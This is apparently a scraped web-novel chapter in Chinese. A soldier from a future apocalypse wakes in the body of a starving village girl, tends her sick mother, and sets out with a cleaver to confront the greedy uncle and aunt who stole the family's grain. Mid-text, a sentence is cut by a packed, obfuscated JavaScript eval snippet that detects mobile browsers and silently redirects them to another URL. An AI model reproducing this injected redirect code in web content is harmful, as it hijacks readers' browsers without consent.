血腥味在舌尖爆开的瞬间,酷烈尖锐的痛也随之席卷四肢百骸,禾甜就在这个时候睁开了眼。
无视口中的血腥味和身体传来的剧痛,她坐起来,第一时间扫视四周。
虽然眼前的景象陌生且奇怪,但是十分安全,甚至比最高级别的安全区还要安全。
也是因为太安全了,她本就绷紧的神经更是丝毫不敢松懈,哪怕是深夜也没能阻挡那双锐利的眸子仔仔细细扫过每一个角落。
再次确定安全后,她眸底划过一抹罕见的茫然。
这里是什么地方?
她不是在执行任务吗?怎么会出现在这里?
没等她想明白怎么回事,大脑突然一阵刺痛,禾甜脸色分毫未变,连眉头都没皱一下,却在刺痛结束后,微微睁大了眼,一脸惊愕。
她穿越了?
像是确认一般,她再次扫视四周。
破旧屋内的一分一毫都和大脑中刚涌入的记忆对上,包括另一张床上躺着的那个没有任何危险值气若游丝生命值极低的普通人类——那是她现在穿成的小姑娘禾田的母亲柳二娘。
她穿成的这个小姑娘,和她同名,只是不同字。
她叫禾甜,小姑娘叫禾田,两人只差了一个字,或许这就是她们之间的缘分。
禾田的父亲禾大是一名猎户,三个月前病故,母亲柳二娘因伤心过度也随之病倒,为父亲治病治丧已经耗尽家中银钱,柳二娘的病倒更是雪上加霜,家中值钱的东西能卖的已经全卖了,就连吃食都难以为继,可柳二娘的身体依然没有好转。
更不幸的是,几日前传来噩耗,禾田在边关从军的兄长禾栋,战死沙场,母亲得知噩耗,当场吐了一口血,再也起不来身。
但家里实在没钱了,禾田没办法在二叔家门口跪了整整一天也没能借来一文钱,回到家也跟着病倒了。
再然后,她就穿了过来。
回忆起才十三岁的小姑娘禾田死前的痛苦和执念,向来没什么的情绪的禾甜动了动嘴角。
既占了她的身体,她必然尽力救治她的母亲。
至于其他的,以后再说,毕竟她现在这具身体实在是太弱了,动一下五脏六腑还有全身的骨头都在疼。
此时此刻,她要做的不是如何想办法救小姑娘的母亲,也不是思考以后的路,而是先睡觉休养身体,赶紧好起来。
这般想着,她又打量了一圈。
这次的打量,纯粹只是好奇。
原来这就是末世前的世界。
果然和末世大不相同。
就连空气都散发着让人安心的香甜,不像末世,风里都裹着危机。
是的,她来自末世。
但她并不是普通人类,而是基因技术下诞生的特异人类,他们的使命就是守卫人类——因为普通人类想在末世生存实在太难了。
无论是大规模席卷而来的寒潮还是安全区外变异的动植物,都能随时要了普通人的命。
但普通人的力量也是很强大的,他们有强大的意志力和空前的凝聚力,上千年的流血牺牲终于诞生了能应对末世各种灾难的特异人类,这才有了喘息之机。
她是有史以来,最强的特异人类。
不仅拥有强大的大脑,更有超强的五感,同时还拥有强大的武力值,所有她执行的任务都圆满完成,被赋予‘最强战士’的称号。
但她还是死了,死在她奉命执行的一个最高级别的任务中。
她轻轻眨了下有些酸痛的眼睛,把记忆从上一世抽离。
虽然遗憾没能完成任务,但她的使命已经完成。死而复生,还是穿越到了末世前的正常时代——一个她和所有人向往的美好世界,没有毁天灭地的寒潮更没有随时吃人的变异动植物。
禾甜由衷觉得还不错。
哪怕她现在穿成的小姑娘处境极度艰难,她也觉得还好。
再难也不会比末世更难了。
在末世她都能顽强的活下来——执行任务牺牲不算,没道理在这个美好世界活不成。
本来也不曾忧心以后的禾甜,搞清楚状况后,当机立断,立刻躺下,并闭上了眼睛 。
没一会儿,她又睁开眼,在床尾寻到一条最像被褥的破烂披在身上。
现在的她不是末世那个能穿着单衣在零下二十度的气温下行动如常的最强战士,这具身体弱的离谱,她不仅感觉到了剧痛,还觉得冷,彻骨的冷,这种前所未有的诡异体验让她觉得新奇的同时,也深刻明白,她得小心翼翼保护这具脆弱不堪的新身体。
刚躺下没片刻,她又再次坐起。
无视身体的剧痛和满身冷汗,她面不改色走到躺在另一张床上的柳二娘跟前,探了探她的呼吸,虽虚弱,但不至于立马就会死,禾甜收回手,重新躺了回去。
她既不是医生,也没有灵丹名药,现下的身体也不比柳二娘好到哪里去,她能做的实在有限。
刚躺好要闭上眼睛睡觉,她突然想起来自己现在穿成的小姑娘家为何穷困艰难至此。
因为小姑娘的二叔二婶想要吃她家绝户!
她爹去世后,禾二郎夫妇俩就明里暗里从她家搞走不少东西,但还忌讳着有个侄子在外从军,没有那么过分。她兄长战死的噩耗传回来,这对黑心肠的夫妇再没了顾忌,把她家能抢走的全抢走了。
禾甜罕见地情绪起伏起来——气的。
片刻后她才意识到这可能是原主的愤怒,但她也确确实实受到了影响。
大半夜的,也不好去讨公道,主要是她现在的这具身体经不起折腾。
不急,等她养好一些,一定替她讨回来。
胸腔翻涌的愤怒平复下来,禾甜闭上眼,很快就睡着了。
再次醒来时,清晨朦胧的曦光正越过最高的山头倾洒大地,穿过窗子落在脸上,有种毛茸茸的舒适感,禾甜睁开眼就清晰地感觉到经过一夜修复的身体在好转。
虽然和曾经的她还相差甚远,但至少不再像刚穿来时那么脆弱,稍微动一下就痛的冷汗直冒。
她试着下床走了几步,四肢百骸的痛感也减轻了大半。
这是个好消息,禾甜向来平直的嘴角轻轻勾了一下。
但很快,她嘴角就落了下来。
不那么痛了,可另一种感受便铺天盖地袭来——饿。
她好饿。
全身的细胞都在疯狂叫嚣着饿,饿的她差点两眼一黑直接昏过去。
身体修复需要巨大的能量,更别说她这具身体的主人已经好几天没吃过饱饭了,又大病一场,再不吃东西,只怕要出事。
“咳咳……”
禾甜回神,看向声音的来源。
柳二娘醒了。
“田、田田……”
柳二娘够着身子,干枯瘦弱的手朝她的方向伸过来。
禾甜愣了片刻才反应过来她是在喊自己。
从来没有人喊自己甜甜,她知道柳二娘喊的是自己的女儿禾田,不是她,心里还是划过一丝奇异的情绪。
她快步上前,扶住要强撑着起身的柳二娘:“你还病着,躺着别动。”
“我没事,”柳二娘盯着女儿的脸细细看了好一会儿,这才虚弱地笑笑:“别担心我,也别再去求他们了,娘只希望你好、好好的。”
儿子已经死了,她现在只希望女儿能好好活下去。
禾甜知道她口中的‘他们’是禾二郎夫妇,怕她担心过度病情加重,便点了点头:“好。”
倒也不是骗她,她确实不会再去求禾二郎夫妇,但账还是要找他们算的,没这么欺负人的。
许是被柳二娘慈爱的目光和担心触动,禾甜喊出了她二十多年都没喊过的字眼:“娘……”
这个称呼,确实很不习惯,她顿了顿这才继续道:“你再睡会儿,我去弄点吃的。”
柳二娘虚弱至极已经没有力气应声,只闭上了眼,禾甜便把她放回去躺好。
从屋里出来,她神色就淡下来。
家里早就断粮了,就连村人可怜她们母女送来的些许吃食也被禾二郎夫妇给抢走了,早上吃什么?
她在家里翻了一圈,没找到一丝能进口的东西不说,还平白出了一身虚汗——身体只是稍稍恢复了些,还是虚得很。
不过她并没有太过焦虑,她曾在书本和影音录像中看过,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180706|165253||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
末世前的世界处处都是生机,各种能做食物的动植物也随处可见 。
屋里没有,她就去外面找。
刚推开门,她就眼前一亮。
先入眼的不是破败的院子,而是葱葱郁郁满是生机一眼望不到头的大山。
是末世看不到的景色,也是末世没有的天然财富。
也许在别人看来,这绵延的大山没什么奇特,但在禾甜眼里,那就是一座一眼看不到头的宝库。
书本和影音录像里记载的果然都是真的。
这都是她末世时做梦都不敢想的。
上山,立刻。这是禾甜脑子里现在唯一的想法。
哪怕面对死亡都没有什么情绪起伏的最强战士,心绪突然激动起来,她抬脚就要出门,刚走了两步,不远处响起一声奇怪的鸟鸣。
禾甜没来得及查看是什么东西在叫,全身肌肉就本能绷紧,手也是先于脑子先有反应,一下就捏住了右上方袭击来的不明物。
捏住的瞬间,她愣了下。
这触感……
定睛一看。
“叽叽叽……”
一只没长毛压根瞧不出是什么品种的幼鸟。
这个触感她实在不喜欢,下意识想松手,又怕把这刚破壳的幼鸟摔死了,只能忍着这股不适抬头查看鸟窝在哪里,给它放回去。
四周并无大树,也没有什么鸟窝。
禾甜觉得有些奇怪,什么都没有,这幼鸟哪里来的?大鸟带着幼鸟迁徙的途中没叼住,掉下来的?
急着上山找吃的,禾甜也没空纠结这个,抓了两把绒柴火在灶屋墙根造了个简易鸟窝把它放里面,就不再管了。
大鸟要是来找,就随便,要是不来找,她就养着,养大了吃肉。
不知道自己成了某人未来口粮的幼鸟在新窝里叽叽叽扑腾了几下,扑腾不动就安生睡着了。
才安顿好不知名幼鸟的禾甜准备去找上山的工具,刚起身,眼前就一阵阵发黑,天旋地转之时,为防昏倒了会摔伤,她本能蹲了下来。
好一会儿,她才稍稍缓过来一些。
虽然不晕了,但心悸得厉害,手脚都止不住的发抖。
哪怕已经恢复了一些,但她现在这个身体还是太弱了,连个小小的低血糖都扛不住。
上山得缓缓,她得先吃东西。
就在她蹲在那儿打量院子里有没有什么能吃的东西时,耳边传来一阵阵私语。
是村里其他人家的交谈声。
不是她故意要偷听,只是她听力异于常人,冷不防听到了。
正要凝神屏蔽掉无用的声音专心找吃的,两道让她控制不住情绪翻涌的对话落在耳边。
“她们怎么还不死!都快点死了吧,赶紧把房子腾出来,家里男人都死绝了,还老占着咱老禾家的房子算什么事!”
“我跟陈婆子打听了,没几日了,等着就是……”
是禾二郎夫妇在家里说话。
说的正是柳二娘母女俩。
禾甜动了动眉心,就听到那个她叫二婶的女人嘁了一声:“那死丫头还敢来借钱,有命还吗,就来借钱,要我说当初就不该心软,要不房子早就腾出来了,我娘都在催了!”
禾二郎嘿了一声:“我要知道他会死在边关,还用你说?”
“一会儿你再看看去,等得烦人!”
结合着小姑娘的记忆,禾甜听明白了,禾二郎夫妇是要逼死她们母女,好把她们现在住的房子腾出来给禾二郎媳妇娘家人住。
别说小姑娘自己,禾甜都觉得这两人恶毒得没边。
身为二叔二婶,眼看寡嫂和侄女蒙难,不出手相帮就算了,还变着法的抢夺人家的财产,活生生要把人家母女逼死,只为霸占房产,心肠都烂掉了!
想到前不久禾二郎夫妇以莫须有的还当初给禾父治丧的债为由从她家抢走的粮袋,禾甜瞄到墙根处已经生锈了的禾父在世时用来处理猎物的剁骨刀,压着低血糖的心悸,起身走过去,把剁骨刀拎在手里,转身大步出了院子,直奔禾二郎家。
先前的账先记着,她会一笔一笔讨回来,但抢她家米粮的账,现在就得算。